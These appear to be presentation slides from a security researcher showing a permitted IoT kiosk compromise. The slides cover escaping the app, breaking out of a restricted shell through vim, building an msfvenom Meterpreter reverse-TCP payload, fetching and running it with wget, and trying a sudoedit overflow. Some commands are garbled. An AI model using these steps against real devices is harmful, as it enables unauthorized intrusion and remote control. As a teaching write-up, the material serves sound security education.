Hacking IoT
from zero to remote shell
Daniel Fischer (daniel.fischer@cern.ch)
Disclaimer

- I did that in a controlled environment
- I had the permission to do that
- Don’t be evil
BIENVENUE SUR
STOP&GO
powered by

1) Téléchargez.
2) Connectez-vous à votre compte et allez à Admin > Lier une nouvelle Suite Noire
3) Scannez le QR Code.
CTRL + S does magic
Open the file manager

2) Log into your account and go to Admin > Link new pad
3) Scan the QR Code.
Open a terminal
Restricted shell :(
Open vim

2) Log into your account and go to Admin > Link new pad
3) Scan the QR Code.
# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples.

# If not running interactively, don't do anything
    case $- in
        *i*) ;;
        *) return;;
    esac

# don't put duplicate lines or lines starting with space in the history.
# See bash(1) for more options
HISTCONTROL=ignoreboth

# append to the history file, don't overwrite it
shopt -s histappend

# for setting history length see HISTSIZE and HISTFILESIZE in bash(1)
HISTSIZE=1000
HISTFILESIZE=2000

# check the window size after each command and, if necessary,
# update the values of LINES and COLUMNS.
"~/.bashrc" [readonly] 115L, 3553C
:!/bin/sh
Again! (ಠ_ಠ)ﾉ ︵┻━┻

```
/bin/rbash: /bin/sh: restricted: cannot specify `/' in command names
shell returned 1
Press ENTER or type command to continue
```
:set shell=/bin/sh
/bin/rbash: /bin/sh: restricted: cannot specify `/' in command names

shell returned 1

Press ENTER or type command to continue

$ whoami
pi

$
SECURITY RESEARCHER

"HARDENED OS"

:SET SHELL=/BIN/SH

imgflip.com
More!

More!
Building the remote shell

[root@metasploit ~]# msfvenom -p linux/armle/meterpreter_reverse_tcp LHOST=<IP> LPORT=1337 > -f elf > shell.elf
Payload size: 1027428 bytes
Final size of elf file: 1027428 bytes
$ wget https://cernbox.cern.ch/index.php/s/\>1\>d\>o\>l\>n\>a\>d\>l\>o\>d\>e\> -0 shell.elf
2021-11-15 15:37:31--  https://cernbox.cern.ch/index.php/s/\>d\>o\>l\>n\>a\>d\>l\>o\>d\>e
Resolving cernbox.cern.ch (cernbox.cern.ch)... 128.142.53.35, 137.138.120.151, 188.184.97.72, ...
Connecting to cernbox.cern.ch (cernbox.cern.ch)|128.142.53.35|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1027428 (1003K) [application/octet-stream]
Saving to: ‘shell.elf’

shell.elf   100%[==================================================] 1003K 978KB/s in 1.0s

Last-modified header invalid -- time-stamp ignored.
2021-11-15 15:37:34 (978 KB/s) - ‘shell.elf’ saved [1027428/1027428]

$ chmod +x shell.elf
$ ./shell.elf
2001:1458:d00:
Metasploit shell
Next step (CVE-2021-23239)

```
$ sudoedit -s \`perl -e 'print "A" x 65536'\`
sudoedit: unable to stat /etc/sudoers.d/README: Permission denied
Segmentation fault
$ 
```
Questions?